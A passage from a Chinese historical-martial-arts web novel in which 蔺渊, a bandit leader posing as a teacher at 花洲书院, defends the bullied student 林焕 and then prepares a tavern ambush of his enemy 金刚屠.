对于贾复的夸奖蔺渊充耳不闻,他指向林焕道:“这位学子真能背一整扇猪肉上山?”
“是的,天生神力。您看她的身板就知道,不像寻常姑娘那般纤弱。”
蔺渊认可的点点头,怨不得昨晚她能顶开箩筐推倒自己。
也就片刻走神,前方也不知怎么回事竟然大打出手,乱作一团。
“夫子,小心!”
“什么?”蔺渊显然不在状态。还未等他反应过来整个食盒凌空而至。蔺渊被里面的汤汤水水浇了一头,众人这才安静下来。
…………
“咳咳。”
蔺渊吐出不少菜汤来,他颇为无奈的吐了口气来平复心情。
小小书院要比江湖还要危险几分,仅仅一个上午差点没把自己折腾死,看来以后要小心行事。
“蔺夫子。”门外的贾复敲门道:“掌事学官要将林焕罚出书院,请您帮忙说句话。”
蔺渊擦着头发默不住声,林焕今日在学堂上绝对是认出自己,若就此被赶出书院,正好少一个威胁。
“夫子。”贾复还在敲门,蔺渊依旧在漫不经心擦着头发。
“蔺夫子,今日之事您也看在眼里,是五斋那几位先挑事的。若是林焕被赶出书院,她只有杀猪嫁人一个出路。那算学的本领从此再无用武之地阿!”贾复锲而不舍的劝说着,可屋里的人就是没有回应。
不远处的饭堂前,林焕上官竹以及赵柯这些闹事的学子排排站,掌事学官拿着戒尺正在训斥他们。
趁着学官训斥赵柯,上官竹朝着林焕挪了几步低声道:“还疼吗?”
林焕脸上的巴掌印红的吓人,她摇摇头道:“不怎么疼。我会被赶出学院吗?”
“别怕。这事我有经验,不就是同窗之间打个架嘛,扯扯皮就过去了。再说了你又没动手,动手的另有其人。”
学官注意到那边的交头接耳,上来就给上官竹一戒尺道:“站好了。”
上官竹嬉皮笑脸的拱手道:“是。学官大人。”
掌事学官瞥了眼林焕红肿的脸颊,仿佛没看见般目视前方道:“所有院中闹事者,禁闭一天,戒尺十板。”
听到处理结果,林焕的心终于落回肚中。怎么罚都成,只要没被赶出书院就好。
谁知学官又补充道:“明日将你们的父亲请来。”
林焕瞬间抬眸,此事绝不能让父亲知道,他本来就不赞成我来念书的。这和被赶出学院没有区别啊。
“掌事学官。”林焕拱手道:“我父亲身体不好,能否……”
学官直接打断她的话道:“闹事的时候怎么不想着你父亲的身体不好?”
林焕紧接着就回答道:“学生没有闹事。”
“你还敢顶嘴。”学官的戒尺毫不犹豫的就打下去。
林焕咬牙挨着戒尺,依旧一字一句顿:“学生没有闹事。”
“这么说,是我判错了?”
“学生不敢。”林焕低下头道。
掌事学官满意的昂了昂头,就听林焕道:“是赵学姐讥讽在先,也是赵学姐动手在前,闹事的是她,而非我与上官竹!”
“你!”学官气急了,所以这次的戒尺打的十分狠,干脆将戒尺打成两半。
众人倒吸一口凉气,随着贾复赶来的蔺渊也被这场景镇住。他不明白一个孔武有力的男子为何要对女学子下这么狠的手。
而被打的林焕疼到蹲在地上,她身边的上官竹看不下去,指着林焕道:“她脸上的巴掌印还不够清晰吗?您不能因为赵柯是第五斋的,我们是十八斋的就区别对待。”
“怎么?你们倒数第一斋要反不成?”
上官竹完全不惧怕,梗着脖子上前道:“学官的眼睛要是不用,扣下来当炮踩还能听个响儿!”
“你!”学官举着半截戒尺又要打下来,却被上官竹钳住胳膊。
身材发福的中年男人哪里较量过年轻力壮的上官竹。见夺不回自己的手,学官恶狠狠地威胁道:“上官竹!你敢不敬师长,这书院容你不得!信不信我将你逐出书院!?”
“那可太好了,如此是非不分的学院,没什么值得我学的。小爷还不乐意奉陪,告辞。”说完还嚣张的推了把学官,拂袖而走。
“阿竹别赌气。”贾复在人群外拦截住他。
“老复,不必多劝。”他看到一旁的蔺渊,径直走上前去:“我读不读书无所谓,林焕你得给我保下来,否则……”
蔺渊接着说道:“还拿弓弩射我?”
“知道就好,告辞。”他背过身去隔着肩膀拱了下手,可以说十分没有礼貌。
蔺渊却没有生气,而是指着上官竹气冲冲的背影问道:“他是谁家的小衙内?”
“他可不是什么衙内。家里是做生意的有点闲钱罢了,给惯成这副混不吝的性格。”
蔺渊却不以为然,上官竹的身份绝非富商之子那么简单。花洲书院名满天下,入院资格更是难求,而他却如此不在乎,甚至敢对学官动手。
要知道这里的学官都是朝廷分派,与县尉同级,官居八品。有点闲钱的富商可不敢得罪,巴结还来不及呢。官员家中的公子哥倒是敢这般犯浑。
方才上官竹的举动让掌事学官很有没面子,他来到林焕面前耍威风道:“你若是不肯认罚,大可跟着上官竹一同离开。”
蔺渊侧头问着贾复道:“此人为何如此偏心?只针对林焕,而对其他闹事的学子如此宽松?”
“马上就要府试,五斋是有能力通过的,
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而林焕……希望渺茫。”
“人品与学问岂能挂钩?如此对待,实乃不公啊。”
“是啊。五斋这几个平日里没少对林焕出言讥讽,也就林焕懂事不与她们计较。今日的她们太过分了。”
林焕向来谨小慎微,但在原则上绝不退步。没错就是没错!挨了师姐的打还要被学官针对,林焕只觉得委屈,她一声不吭,就是不肯认罚。
学官再次落了面子,他气得连说三声好,正要发落时有人走出围观人群。
“林学子所言非虚,确实是这位赵学子先开口讥讽的。”
掌事学官对面前的人十分陌生,就听来人自我介绍道:“小可蔺万宗,是十八斋的新任夫子。”
“见过蔺夫子。”学官客气的回礼道:“夫子今日才入院,想必还不熟悉书院的规矩。我乃掌事学官,论公正、掌赏罚。夫子只需传道受业,余下的事不劳夫子费心。”他这话的意思很明白,不让蔺渊插手。
林焕对于蔺渊的行为有些不理解。这土匪不应该巴不得把我赶出书院的吗?怎会帮我?
她哪里知道此刻情形让蔺渊回忆起年少时的经历。
也是太阳当头,也是学官胡乱判决。但他不如林焕,怕挨打受罚的蔺渊从开始就选择将莫须有的错误认下。
后来书院的惩罚是躲了过去,却被父亲以失掉读书人的气节打上一顿,跪了一天一夜的祠堂。
是啊,读书人都看中气节。气节虽珍贵,也该有人维护才是。否则它会随着岁月的流失,环境的侵蚀从而消失的无影无踪。
蔺渊上前一步,挂上温和的微笑道:“学官执意要罚,蔺某不敢阻拦。但方才林学子明确表示她的父亲身体不好,若是强行请学子父亲上山实在有悖孝义。
这样吧,蔺某舔为十八斋的夫子,就由蔺某下山与学子父亲汇报此时情况,即没有让学官失去威严,也全了学生孝义,您看如何?”
掌事学官本来对于蔺渊的提议毫不在乎的,但这位夫子将姿态放的很低,让他自然而然的挺胸抬头。
学官虽有品级,但干的都是得罪人的活。在书院里是学子不喜,夫子不屑的。可以说是猫嫌狗厌的状态。蔺渊还是第一个对他弯腰作揖的夫子,更没有拿自视清高的夫子姿态下达命令。
既然如此,卖他个人情又如何。
于是林焕的惩罚从请父亲上山,变成夫子下山家访。但是禁闭与戒尺都未能免除。
蔺渊看着逐渐散去的人群忍不住感叹。现在的学子怎么这样,书院本是做学问的地方,一个个的书不念,热闹倒是不少。
贾复嘿嘿笑道:“夫子,按理说您的起居应有学生照料。只是近日我家中有事想请几日假,您的起居就由苏天赐来照料,您看可好?”
“不必麻烦,您去忙吧。”
“学生告辞。”
蔺渊连忙躬身还礼,让这么个老大哥天天服侍,自己真怕折寿。送走贾复后,他转眸就看到树后飘扬的红裙。
跟踪都跟踪这般拙劣,这姑娘当真是笨拙到可爱阿。
他抬眸瞥上一眼,斜前方廊下的影子瞬间少了一道。
蔺渊又回头看向大树,真想告诉她,廊下的那人才叫跟踪。
不见形,唯见影,高手啊。
树后自然就是唐黎,但并没有要跟踪蔺渊的意思。她是听到林焕出事便一路跑来,本想为林焕解围谁知让蔺渊抢了先。她在树后目睹整个过程,也对新来的夫子有了初步的认识。
随着事情结束人群散开,唐黎紧接着也离开。
5. 横主儿唐黎
唐黎大步流星来到五斋的寓所,毫不客气将门踹开,猛然灌进来的凉风把屋里的人吹的直激灵。再看那木门摇晃几下直接掉落扑地,这响声又把众人吓一哆嗦。
作为挑事之人的赵柯同样挨了手板,此刻正在上药。面对闯进来的人她有些不自在的起身,扯出个微笑道:“唐....唐师妹来……来了。”
唐黎那双好看的眸子扫视屋内的所有人,压迫感十足直叫人汗毛倒立。有人见势不妙想要乘机溜走,被她直接高抬腿抵在门框处,大摆的裙子遮住门外透来的阳光。
“钱师姐是想搬救兵?”她歪了下头问道。
“没有没有,方才突然内急。现在不急了。”钱锦荣赶紧编个谎言,老老实实坐回到椅子上。
待众人都老实后唐黎才将腿收回,依着门框也不说话就是死盯着赵柯。
赵柯被盯到发憷,硬着头皮想讲道理:“我怎么说也是你的师姐,唐师妹何必如此,有话好好说。”
“林焕也是你的师妹,你怎么就不能与她好好说话?”
没错,唐黎此行就是为林焕“报仇”来的。
“原来是为了她啊?”赵柯轻蔑的笑了一声。当听到林焕的名字,她莫名其妙的从惧怕变回刻薄。
真不知道她们之间有何仇怨。
唐黎打进门起就一直压着怒气,若不是看在同窗的面子上,以她的脾气哪会好声好气的说话,早就大打出手。可偏偏赵柯是这幅态度,导致唐黎心中那团火彻底压不住。
等两边一打起来,钱锦荣可算得到空隙沿着墙边溜出去。
出寓所的第一件事就是寻学官,往日遍地可见的学官今日竟没有一人。她干脆拦住位师兄打听情况。
“哦,听说山长要为新来的蔺夫子接风,学官们也都去了。”
钱锦荣泄了气的垂下胳膊,囔囔道:“赵柯啊,不是我不救你,实在没找到学官。要怪就怪你惹到唐黎,你也是,惹谁不好,惹上这么个横主儿。”
“钱师妹,这是怎么了?失魂落魄的呀?可是去饭堂没抢到饭?”悦耳的声音传来,钱锦荣猛地抬头,她那看到救星般的眼神就差放出万丈光芒。
“冉师姐!快!跟我来!”她拉过冉晴二话不说直奔寓所。
屋中已是打的不可开交,赵柯自然不是唐黎的对手。可她脾气倔得狠,不仅不认输还要继续激怒唐黎。
“我又没有说错,林焕就是杀猪匠的女儿。你才来邓州多久?她家的操守德行我比你清楚多了,真以为她就像表面那么老实?那都是装的!知不知道会咬人的狗不叫!”赵柯堪堪接住唐黎一掌,导致身形不稳连退数步。
唐黎步步紧逼,又是一掌推出:“我再问你最后一遍,为何要处处针对林焕?”
连出数掌,以赵珂的功力已经无力抵抗。她被打到在地,捂着胸口只觉得有口气喘不上来,都被打成这样她还是倔强的抬眸,满是不服的瞪着唐黎。
“我实在不能理解。你针对林焕不是一次,不是一天,而是整整三年。远的不说,就说我来书院的这两年,你都干了些什么!要不是林焕总是替你求情,我.....”
扬起的手被来人拦下,唐黎反手就是一击,随即就与来人对上阵来。
钱锦荣趁机扶起赵柯道:“别怕,冉师姐来了。她出身青城派,一身的家传武动,肯定打得过横主儿。”
这点锦荣没有夸大,出身名门大派的冉晴确实武功不凡,但她与唐黎对阵也说不上轻松。毕竟是来劝架的,对方还是同窗,总不能用杀招、下死手。
唐黎同样是这个想法,今日是来讨说法,再说了自己跟冉师姐又没仇,所以手下同样留情。
“唐师妹!”冉晴反制住唐黎道:“都是同窗姐妹的,莫要耍狠。”
其实唐黎是能挣脱对方的控制,但冷静下来的她觉得自己闹得有些过分,就借坡下驴由着冉晴拉走自己。
出了寓所冉晴就松开唐黎,她帮唐黎理了理碎发,又掏出手帕为她擦掉额间的薄汗,柔声道:“何事闹成这样呀?”
唐黎神情低落,她提着路边的石子也不回话。
“好了,你不说我也知道。饭堂发生的事我也有所耳闻。唉.....”她叹了口气道:“说实话那件事赵柯也算是受害者,但她不该将一切强压给林焕。”
这把唐黎给说糊涂了,林焕被人欺负那么久,怎么欺负人的反而成为受害者?
冉晴带着唐黎来到秋千架旁,自己捡了一个荡起来,将赵柯与林焕的过节缓缓道来。
“三年前,林家肉铺卖出的病猪害死赵柯的父亲。赵家族人吃绝户,抢她家宅院又气死她的母亲。赵柯从穿衣不愁的富家小姐落魄到寄住舅舅家的孤女。她心中万般委屈,就将这些气撒到林焕身上。”
“冤有头债有主,她该去寻林焕的弟弟,再说了吃绝户的是她家亲戚,与林焕有何干系?”
唐黎说完就觉得事情没那么简单,既然林焕的弟弟贩猪致人死亡,就该由衙门出面解决,是判是罚总会有个结果,这件事不会一点风声都没有的。果不其然冉晴剩下的话证实唐黎的猜想。
“恰逢林家弟弟溺水身亡,林家也按照官府的判决赔了不少银子。按理说这事该了了……”
唐黎有一下没一下的晃着秋千,就连冉晴离开她也没回过神来。
上次休沐日见到林伯伯时,他还说瞅机会让林焕的弟弟也来书院读书,还托自己给山长说好话来着。可他的儿子早在三年前身亡,怎能来读书?
但细细想来,也确实从未见过林家弟弟,每次询问林伯伯,他给的说法不是在出摊就是跟朋友外边玩耍,丝毫没说过儿子去世的事。
为何?
“哒。”脚尖点地阻停了秋千。唐黎脑袋一热打算去找林焕问个清楚。途中却被学官叫走帮忙,唐黎脾气再怎么横,也是位守礼的好姑娘。所以她按照学官的要求分发各个夫子寓所的文房四宝。
书院为夫子寓所准备的东西都是极好的。名贵的笔墨纸砚,无价的古琴,上好的颜料等等。雕刻精美的香炉此刻正云烟飘渺。朗朗的读书声伴随着钟声入耳,让蔺渊陶醉的闭上眼。
多少年了,还在怀念身为读书人的一切,也享受书院带来的这份宁静与闲适。如果可以他真的希望这种生活持续下去。
“学生苏天赐拜见夫子。”门外响起稚嫩的声音。
这声夫子让蔺渊的笑容更大些。他并没有立刻应声,害的苏天赐又多喊几声夫子,蔺渊才整理好衣裳,正襟危坐的请学生入内。
苏天赐恭敬的行礼,然后就开始打扫屋子,为蔺渊添茶倒水,做好身为学生的本分。
“天赐,你今年多大了?”
“十六。”
“已过府试?”
“嗯,魁首。”回完话他又继续收拾屋子。仿佛身为魁首不过是件寻常事。这副不卑不亢的心性让蔺渊佩服的点点头。
“来书院几年了?”
“十六年。”
“是从小长在书院中?”
“是。”
“那你肯定对书院十分熟悉?”
“是。”
“别打扫了,天赐,来,过来。”蔺渊端出一盘果子道:“吃点东西。”
果然果子引起苏天赐的兴趣,他露出可爱的小虎牙,恭敬地作过揖便坐过来。
“咱们书院最近有没有发生奇怪的事?或者来过奇怪的人?”
“有。”
蔺渊把果子往前推了推,贿赂小孩道:“跟我说说。”
“夫子。”苏天赐低头吃着果子。
蔺渊的笑容几乎是僵在脸上,他不死心的追问道:“你的意思我是奇怪的人,为何?”
苏天赐抬眸盯着蔺渊道:“因为夫子想套我的话。”
蔺渊被噎的一句话都说不出来,本来以为这孩子年纪最小,心思单纯。却没想到会被一眼识破。
苏天赐继续道:“夫子被钉在门上时也没有生气。正常人
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都会生气的。”
“那是因为夫子我肚量大、能容事。自然不会跟你们这些孩子生气呀。”他抬手拍拍苏天赐的脑袋。
“可夫子却在林焕被欺负时生了气。我都看见夫子眸中的冷意。”
蔺渊扬起的手愣在空中,一瞬间他竟然想掐死这人小鬼大的少年。
谁知又被苏天赐猜中,他往后退了几步,黑魆魆的眸子看向蔺渊,小心翼翼的道:“夫子,天赐说错话了吗?”
“没有的事。”蔺渊笑的温柔,贴心地为他整理衣领:“去温习功课吧。”
“夫子请歇息,晚间学生再来侍奉。”
蔺渊将书案上的一切摆放整齐后,心情才舒畅一些。狠狠地揉了揉太阳穴,又发出质疑。
自己是在江湖混久了吗?如今书院怎会成这副模样,这十八斋还有正常人吗?
他打算去看看林焕,毕竟这姑娘知道自己的真实身份,是一大隐患啊。
禁闭室前有奴仆把手,看起来戒备森严,本以为会是柴房改造的小黑屋,没想到推开门后整个屋子灯火通明,墙上挂的先圣们的画像,倒像是个庄重的祠堂。
林焕在香案前老实的跪着,就连蔺渊进屋都未能发现。
蔺渊咳嗽一声强调自己的存在,他拎着食盒走近道:“天赐备的点心,托我送来。”
冷不丁的声音吓得林焕立马起身,看到来人是蔺渊后更加恐惧到后腿三步,乃至手中的手帕都被吓掉。
“你别怕,我是不会伤害你的。”蔺渊先是安抚。他没有近前,只是把食盒放在地上道:“跪大半天饿了吧?”
林焕摇摇头,不愿接受蔺渊的好意。蔺渊也不强求,他踢过蒲团席地而坐,冲着林焕招手道:“来,坐下。”
林焕还是摇头,她的视线一直在瞥着门口,似乎想趁机逃走。
“你知道我的身份,对吧。”蔺渊说得肯定。
“我来书院有事要办,至于是何事不便与你说,请相信我不会危及书院。还望林学子行个方便,莫要说出蔺某人的身份。”
他柔和的语气到下一句便开始转变:“当然你可以选择不相信我,可以去报官。但我想提醒你,一旦报官你便会惹上麻烦。”
林焕一直低着头,厚厚的睫毛遮挡住她的眸子。蔺渊根本看不出她的神情,自然无法探查她此刻的想法,也不知是采取威胁还是说服。
“罢了,给你透个底儿吧,蔺某是在为衙门做事。林学子要是报了官,会被衙门当做不稳定因素而除掉,这书怕是不能继续读下去。我想……这不是你想要的结果吧。”
蔺渊故意把话说重,经过上午的那场闹剧他看得出来林焕珍视在书院读书的机会,所以选择以此威胁恐吓。
林焕本就害怕,再加上蔺渊放狠话,她睫毛微动没忍住便哭了起来。
哭又不敢大声哭,只敢低声抽涕。
这让蔺渊很尴尬,他最见不得女人哭,更何况今日之事他又不占理儿。把人家姑娘逼成这副委屈模样,蔺渊恨不得赏自己俩大嘴巴子,他慌忙捡起地上林焕掉落的手帕,递给面前人道:“你别哭啊。我是在为你考虑,没有恶意,真的。”
蔺渊满眼真诚,就差对天发誓来哄林焕。
林焕也不接手帕,她还在哭泣。
她现在的哭,不是因为蔺渊那几句威胁吓唬的话,而是为了这世道。
什么世道!官府竟与土匪勾结。这么个混沌朝廷,我们努力求学科考到底是为了什么?
难不成为了作威作福、鱼肉百姓?那这书读了还有什么意思?
“林学子,林姑娘?”蔺渊根本就不知道林焕开始怀疑人生、质疑未来。
他往前挪几步,林焕就往后退几步,因为长时间被罚跪的缘故,腿软的林焕身形不稳来了个踉跄,好在蔺渊眼疾手快扶住了她。
蔺渊刚把手帕塞进林焕手中,一道红影快速闪过,绣花鞋实实在在的落在胸口处,等蔺渊反应过来已经滚出三米开外。
6. 唐黎的武力值
“拿开你的脏手!”
来人未穿书院统一服制。一身红衣搭配通身气质,张扬无比。一头青丝利落的盘成高髻,隔三差五间隔的插着金簪,彰显着华丽富贵。
来找林焕的唐黎还未进屋就听到哭声,推门就见蔺渊贴林焕那么近,竟然还拉住林焕的手!
那令人误会的画面她肯定会多想,当即就把蔺渊当成色鬼,毫不犹豫用脚分开二人。
蔺渊实在倒霉,他都不知道发生什么就挨了个窝心脚,此刻正捂着胸口狼狈的起身。
“这位学子,你为何要动手打人?”尽管如此他依旧礼貌的询问原因。
“哼,你心里清楚。”唐黎不屑的白了“色鬼”一眼。仿佛多看他一眼就会脏掉自己的眼睛。
清楚?清楚什么?
蔺渊心中打鼓,莫不是林焕曾说过些什么?自己的身份她也知晓?
想到这眼神不由得变得冷峻起来。此人不比林焕,骄纵跋扈的大小姐怕是难缠。
林焕生怕蔺渊逼急会对唐黎不利,连忙解释道:“唐黎你别误会,夫子是来送点心的。方才是我不小心摔倒的,是夫子扶住了我。”
唐黎探究的目光扫视着二人,直觉在告诉她事情一定没那么简单。她知晓林焕的性格软弱,向来喜欢息事宁人。此刻自己若是与新来的夫子当面撕破脸,倒是会害林焕处境尴尬。
唉,就当为了林焕吧。
于是唐黎整理下衣物,郑重拱手行礼道:“夫子见谅。原谅学生方才的冲动与冒犯。”
礼是行的十分恭敬,但蔺渊没在唐黎脸上看到半分歉意。他垂眸瞥了眼胸口处的鞋印子,是如此清晰。可见方才那一脚使了多大劲儿。这位唐学子的功夫怕是不低。
怪哉,怪哉啊,花洲书院是个读书讲经地方,竟会如此尚武。
林焕满是担忧的望向唐黎,学子不敬师长是要挨罚的,甚至罚的比自己还要重,二十下手板外加禁闭三天。唐黎哪里吃的下这苦,必定会闹起来。
而且……
看土匪夫子那副模样并不像想饶过唐黎的模样。
她虽然惧怕蔺渊但还是怯生生的开口道:“夫子方才的教导学生铭记于心,断不会给您填麻烦。夫子宽宏大量,宽恕唐黎的无礼吧。”
蔺渊本就没想与唐黎较真儿,怎么说自己虚长她们几岁,哪里会这般小气跟学子们计较。正好又得到林焕的保证,达到目的的他嗯了一声,颇有夫子的姿态指着唐黎道:“下不为例。”
待蔺渊离开唐黎连忙来到林焕身边道:“到底怎么回事?”
“没什么事。”林焕打开食盒道:“夫子真的是来送点心的,我没哄你。”
“是……吗?”唐黎还是不太相信。
“是啊。”林焕抿嘴笑着把点心送到唐黎口边,唐黎狐疑地咬口点心。她拉起林焕道:“别在这跪了,回屋睡觉去。”
“还没到时间。”林焕不愿起身。她向来遵守学院的一切规定。
“天都黑了,学官早就休息哪里还会盯着你,走啦。”而最爱破坏规定的唐黎选择连拖带拽的将她拉出去。
门外把守的护卫没一人敢置喙。谁让唐黎在书院里是出了名的横主儿,不仅能打,还敢打。得罪她不值当,睁只眼闭只眼就算过去了。
她们所住的寓所是套小院,学院的标准配置,一间主屋两间偏房。按照学院规定应当入住九名学子,但因地处偏僻,学子们懒得走远路,再加上林焕当时被霸凌孤立,这里反而成为林焕独享的院落。随着唐黎入学,院子里也不过住上两名学子,倒是幽静闲适。
身心俱疲的林焕回屋倒头就睡,唐黎为她掖了掖被角就将灯吹灭,利索的换上男装趁着月色下山。
邓州算不得是上州,比不得京城、江南的繁华。到了晚间只有一条街会挑灯,那便是邓州的主街,名为玄武大道。这里挨着衙门都是做正经营生的,像茶楼,酒楼,书肆之类的,唐黎背着包裹直奔一家书肆,似乎与店家很熟,刚进门就有小童端茶递水。
很快老板亲自迎接道:“唐先生,许久未见。”相互寒暄后便掏出二十两银子道:“这是双水案的分红。下一本写的如何?”
唐黎抱拳回礼,打开包裹道:“请您过目。”
才吃了几块点心的功夫,老板就放下书,略显失望道:“恕我直言,这册书小店不收。”
“为何?”唐黎连忙追问。这书可是花费不少心血写了三个月的,这老板翻看几页就说不行,她当然着急。
“卖不出去的。”老板点点书道:“梅花针连环杀人,案情确实诡谲能吸引到人。但光有这些还不行,还要有主角们的情感。”
老板拿起书随便翻了两页道:“你看看全是案子,林推官的身形样貌什么样?是俊是高?与杨姑娘是否般配?又是怎么谈情说爱的?”
“我写的是公案话本子,自然要着重写案情啊。之前的双水案就卖的很好。”唐黎有些委屈道,更多的是自己的作品没被认可。
“双水案是情杀,死在青楼,又是花魁犯嫌。”老板让小童将书递给唐黎道:“双水案之所以大卖,是我在你的故事上又加了些细节。不瞒你说,大家都爱看些香艳情节。”
唐黎捧书的手有些微颤,书中露骨的文字让人看的耳红,满书都是露腿露胳膊的,半点衣服都不穿的那种。唐黎实在看不下去,直接合上书丢到一旁。
老板嘿嘿陪笑道:“你也别恼,我知道你们读书人向来清高,不屑写这类文字。可市场就是这么个市场,咱也不能做赔本生意对吧?”
唐黎把刚得到的分红银子放到桌上道:“这书我自费出,给我放在书肆最显眼的位置。”
“何必赌气呢,真的卖不出。”
唐黎大气的摆手道:“卖不出就卖不出,我不差银子。银子不够我还可以再添。”
到手的银子哪有不要的道理,老板收好银子答应唐黎的要求,不过他好心的给唐黎拿了不少时兴的话本子做参考,一路嘱咐到门口。
“话本子要多讲情,什么花前月下,什么月上柳梢都要多写写。唐先生还要琢磨下林推官的模样。这么好的君子定当配上副好模样,模样越好姑娘们就越看的。最好削弱下杨姑娘的脾气,别那么强势,多来几场英雄救美,得让读者有共鸣……”
老板的话唐黎是听进去的,多写些人物形象的描述也不是难事,俊俏的郎君书院就有不少,比着他们写就是。
嗯...让我想想。
上官竹模样就不错,但与笔下的推官比就显得轻浮些,王师兄又太过正直……
还有谁能让我借鉴一二?
唐黎抱着一堆话本子走在长街上,街上一如既往的热闹,但唐黎总是感觉哪里不太对劲儿。
她不动声色的打量周遭,敏感的视听告诉她这条街的绝对有问题!
视线才扫过东边的馄饨摊,老板立刻就吆喝叫卖起来,喊得声音大到有些吓人,有种故意强调身份的感觉,在看那眼神躲闪的像做过贼。
视线又撇向北方的角落,缩在那里的乞丐,破烂的袍子下竟然穿了双干净整洁又合脚的布鞋。还有西南方向一直不去揽客的轿夫以及扶着墙根什么都吐不出来的酒鬼。
从
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他们所在的位置及视线关注的方位可以断定,他们在监视这座酒楼。
唐黎的视线同样望向酒楼,一个没注意与来人撞满怀,她人是闪躲开,怀里的十来本话本子却撒地上。她揉着被撞疼的肩,明明躲了两步怎么还能撞上?
“抱歉,实在抱歉。兄台,你的书。”映入眼帘的是位俊俏少年,他把书捡起并递了过来。
等唐黎再回过头来,方才那些行为奇怪的人全都消失不见。
奇怪?
唐黎都怀疑是自己眼花,这时身旁有人道:“先生,这是您掉的扇子吗?”
嗯?这应该是方才那位少年捡书时落下的。
扇面是一副山水画,通篇没有提字,右下角的红戳留下时臣二字。像是本人画的,那人年龄看起来也就十五六,没想到竟有如此笔力,是个行家。
唐黎合上扇子为对方指路道:“扇子的主人已经进酒楼了。”
但捡扇子的人却表示自己没工夫去,便就拜托给唐黎。
酒楼中觥筹交错,热闹无比。嘈杂的声音让刚进酒楼的唐黎有些不适应,她向小二打听时臣的位置。
“蓝衣少年?哦哦哦,在二楼竹影轩,小的给您带路。”小二热情的要给唐黎带路。
“我就不上去了,这扇子劳烦小哥归还。”唐黎怀里还抱着书,她将扇子递过去。
“好嘞,保证物归原主。”
唐黎本要离开,转头就看到馄饨摊的老板正与轿夫谈天说地,就连乞丐也换身衣服坐于席间。不仅如此唐黎还注意到二楼有多人在监视。
许是公门办案吧,倒也常见。
唐黎也没多心。不过她还是挺好奇是在抓谁,需要劳动如此多的人来乔装打扮。
唐黎的异常同样被二楼的人注意到,雅间里的蓝衣少年正透过微启的门观察着全局。
“当家的,咱们被人注意到了。但是看起来不像是金刚屠的人。”时臣鬼鬼祟祟的趴在门缝前汇报道。
“不必理会。”蔺渊气定神闲的在烹茶。
“金刚屠今晚会来吗?”
“他的老宅在邓州,老婆孩子也在邓州。如今被朝廷招安又得了一官半职的,现在神气的很啊。”蔺渊又倒了杯茶,示意时臣来喝。
“您给金刚屠的信是怎么写的?”
“没写什么,不过是告知金刚屠我在邓州,要取他性命为雷大哥报仇。”
“这....这么威胁的话,语气有些软吧?金刚屠那厮怕是不在乎。”
蔺渊慢悠悠地的说道:“他若是不来,我便会放火烧他家老宅,倔他家祖坟。再把他老婆孩子都杀掉。”
时臣这才满意的点头,觉得蔺渊威胁到位,颇有信心的道:“这样就不怕那厮不来。”
谁知蔺渊话锋一转道:“我并没把这些写在信中,金刚屠不知道的。”
“那.....”时臣不知要如何接话,哪有威胁人在心中威胁的。估摸着金刚屠看到信都要笑话白虎山的软弱。
“祸及家人的事我不会做的。不过你放心金刚屠一定会来,毕竟他同样想要我的项上人头。”他颇有自信的抿了口茶。
时臣处于为蔺渊的安全考虑,提出建议道:“还是我来替您赴宴吧。反正金刚屠没见过您。”
“不必担心,金刚屠性格鲁莽,没什么脑子,脾气更是一点就着,咱们只需把围绕在他身边的爪牙拦截。至于杀他,简单。”
时臣搓了搓手道:“暗杀的话,传出去会不会不好听?”
“你觉得我一个土匪还会在乎名声?”说完蔺渊自嘲的扯了下嘴角。
7. 唐黎大战金刚屠
时臣垂下头认可蔺渊的话,但他还是建议道:“这事交给我来办吧,莫要脏了您的手。”
“别的事我都可以不参与,但金刚屠与白虎山的恩怨必须由我来结束。不仅是金刚屠,还有方正勇。”蔺渊一收往日温润的气质,眸子冷冽如霜。
蔺渊如此执着亲手了结金刚屠,让时臣心里升起一丝疑虑。
大当家雷正死后该由蔺渊这位二当家的接任。
书生当土匪头子,多少会有人不服气。
蔺渊不爱喝酒,也不爱大口吃肉,甚至对美色也没那么热衷。即使身处山寨,更多的是读书弹琴,或者帮着山中百姓育种耕地,又或是帮含冤的百姓写诉状,要不是雷正大哥三令五申的不许蔺渊下山,他怕是会亲自上衙门中当状师,为人鸣冤。
总而言之,蔺渊不具备土匪的一切德行,众家弟兄在他身上找不到一丝归属感,如何放心把山寨交给他来领导?
他讲话又慢,声音还小。聚义厅下多几张嘴说话就听不到蔺渊的任何声音。往日有雷正的大嗓门震场,如今的蔺渊又如何能让大家听到他的声音。
护着蔺渊的雷正没了,蔺渊要是想继承山寨便只有立威一条路。亲手斩杀金刚屠为大哥报仇便是最好的选择。
按常理来说这些猜想没错,却不像蔺渊所为之事,他向来对山寨的事务不感兴趣,更别提争权了。
他如果想铁了心的要掌管山寨就只有一个目的……
招安。
于是时臣试着问出来,见蔺渊不说话便知道自己猜对,他语气急促起来:“那帮混人憎恨官员,厌恶朝廷。敢提招安,就不怕他们生吞活剥了?”
蔺渊忧愁地皱起眉头:“总要有个出路,土匪不是好营生。”
他说的是心里话。白虎山没了雷正就等于群龙无首,就比如现在几个有点威望的头领各立门户,争土地占山头的,把周遭百姓闹得苦不堪言。
再加上朝廷派兵围剿,不过一年的时光白虎山就死伤三成。即使不响应朝廷的招安也需再寻些出路。
说是出路,其实是生路。
但时臣不这么认为,他身在白虎山,心却一刻都未落在那里,更别说把那些人当亲友兄弟。他不过是为了追随蔺渊,一切的一切都以蔺渊为主。
所以他劝诫的话越来越出格:“他们没落草前也没干过什么正经营生。有几个跟你似的是被逼落草的?他们就是土匪,流氓。物以类聚人以群分,是狗改不了吃……”
“好了,这些事咱们先不谈。”在说出更难听的之前打断了时臣,并将他向门外推去道:“快去看看兄弟们布置的如何,不必担心我。”
“当家的,您……”时臣三步两回头的离开雅间。
送走时臣,蔺渊习惯性将桌上的茶具摆放整齐,又从筷篓中随手抽出一根儿。
他把这根筷子当做“卦签”,平整无痕的筷子本就无法展示卦像,但此刻的蔺渊心中无比平静。
求的就是心安罢了。
楼下传出嘈杂声使得手中的筷子应声落地,吵闹声愈演愈烈,蔺渊干脆起身推门发现他要等的人正在楼下。
为首壮汉的块头一个顶三人,茂盛的胸毛涌出衣外,不羁地扛着个大刀,牛一般的眼睛瞪得溜圆。他扫视着众人道:“这菜比狗屎都难吃!店家呢!店家!”
众人大气也不敢喘,店家更是吓得躲在柜台下。
壮汉已然喝醉,抡着刀在酒楼里撒着酒疯。还大言不惭的叫嚣道:“知道老子是谁吗?白虎山的贼首就是老子诛杀的!如今朝廷要封老子做大将军!
老子去了京城还是那什么太傅唐老儿给牵的马,唐老儿还给老子躬身倒酒呢。那御酒,啧啧,邓州的酒那她娘的像马尿!”
“大哥威武!”他的小弟在一旁附和道。
